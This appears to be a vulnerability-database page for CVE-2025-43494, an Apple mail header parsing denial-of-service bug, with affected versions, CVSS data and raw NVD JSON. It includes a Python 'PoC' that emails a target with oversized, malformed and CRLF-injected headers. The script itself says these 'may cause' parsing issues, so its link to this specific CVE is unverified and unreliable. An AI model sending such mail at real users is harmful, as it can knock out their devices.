Security Vulnerability Report
中文
CVE-2025-43494 CVSS 7.5 HIGH

CVE-2025-43494

Published: 2025-12-12 21:15:55
Last Modified: 2026-04-02 19:20:54

Description

A mail header parsing issue was addressed with improved checks. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1. An attacker may be able to cause a persistent denial-of-service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:26.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:26.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 18.7.2
iOS < 26.1
iPadOS < 18.7.2
iPadOS < 26.1
macOS Sequoia < 15.7.2
macOS Sonoma < 14.8.2
macOS Tahoe < 26.1
visionOS < 26.1
watchOS < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43494 PoC - Malicious Mail Header DoS # This PoC demonstrates the mail header parsing vulnerability # Note: This is for educational and security research purposes only import smtplib from email.mime.text import MIMEText from email.header import Header def send_malicious_email(target_email, smtp_server='localhost', smtp_port=25): """ Send a malicious email with crafted headers to trigger CVE-2025-43494 """ # Craft malicious mail headers that may cause parsing issues malicious_headers = { # Long or malformed header values 'From': '[email protected]', 'To': target_email, 'Subject': Header('Test Email - CVE-2025-43494'), # Malformed Content-Type with excessive parameters 'Content-Type': 'text/plain; ' + 'charset=' + 'utf-8' * 1000 + '; ' + 'boundary=' + '-' * 5000, # Recursive/nested header injection 'X-Forwarded-For': '1.2.3.4\r\nX-Forwarded-For: 5.6.7.8\r\nX-Forwarded-For: 9.10.11.12', # Multiple Received headers 'Received': 'from attacker.com by mail.victim.com; ' + ' '.join(['fake.server.com'] * 500), # Malformed date headers 'Date': 'Mon, 01 Jan ' + '9999' * 100 + ' 00:00:00 +0000', } msg = MIMEText('Test content', 'plain', 'utf-8') # Add malicious headers for key, value in malicious_headers.items(): msg[key] = value try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.sendmail('[email protected]', target_email, msg.as_string()) print(f'[+] Malicious email sent to {target_email}') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': print('CVE-2025-43494 Mail Header DoS PoC') print('Usage: python poc.py <target_email> [smtp_server] [smtp_port]') # Example: send_malicious_email('[email protected]')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43494", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:55.390", "lastModified": "2026-04-02T19:20:53.987", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A mail header parsing issue was addressed with improved checks. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1. An attacker may be able to cause a persistent denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.2", "matchCriteriaId": "819E8F86-A336-49A2-853F-249459279A59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "4173F942-2CF6-447E-A942-948F6EF6CE77"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.2", "matchCriteriaId": "7B98B4A6-EFB0-4651-BF56-06917E7CEC85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "E29A276A-7091-42B2-B893-6A5801A0716E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "551159EE-8311-4A13-802D-85871DAB5E77"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "9F9D7F76-13FB-407C-94E5-221B93021568"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125633", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125639", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}